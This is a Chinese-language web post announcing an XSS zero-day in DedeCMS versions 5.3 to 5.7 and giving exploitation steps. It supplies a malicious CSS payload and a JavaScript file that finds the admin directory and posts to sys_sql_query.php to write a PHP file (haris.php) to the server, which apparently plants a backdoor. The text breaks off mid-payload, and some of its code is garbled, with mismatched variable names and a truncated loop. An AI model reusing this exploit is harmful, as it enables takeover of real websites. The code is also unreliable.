DEDECMS 最新 xss 0day 通杀所有版本漏洞预警 -电脑资料

    漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行，

DEDECMS 最新 xss 0day 通杀所有版本漏洞预警

    目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。

    下面说说利用方法。

    条件有2个：

    1.开启注册

    2.开启投稿

    注册会员—-发表文章

    内容填写：

    新建xss.css,内容:

    body{

    background-image:url(´javascript.:document.write("")´)

    }

    新建xss.js文件,内容:

    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    if(request.overrideMimeType) {

    request.overrideMimeType(´text/xml´);

    }

    } else if(window.ActiveXObject) {

    var versions = [´Microsoft.XMLHTTP´, ´MSXML.XMLHTTP´, ´Microsoft.XMLHTTP´, ´Msxml2.XMLHTTP.7.0´,´Msxml2.XMLHTTP.6.0´,´Msxml2.XMLHTTP.5.0´, ´Msxml2.XMLHTTP.4.0´, ´MSXML2.XMLHTTP.3.0´, ´MSXML2.XMLHTTP´];

    for(var i=0; i

    try {

    request = new ActiveXObject(versions[i]);

    } catch(e) {}

    }

    }

    xmlhttp=request;

    function getFolder( url ){

    bj = url.split(´/´)

    return obj[obj.length-2]

    }

    Url = top.location.href;

    u = getFolder(oUrl);

    add_admin();

    function add_admin(){

    var url= "/"+u+"/sys_sql_query.php";

    var params ="fmdo=edit&backurl=&activepath=/data&filename=haris.php&str=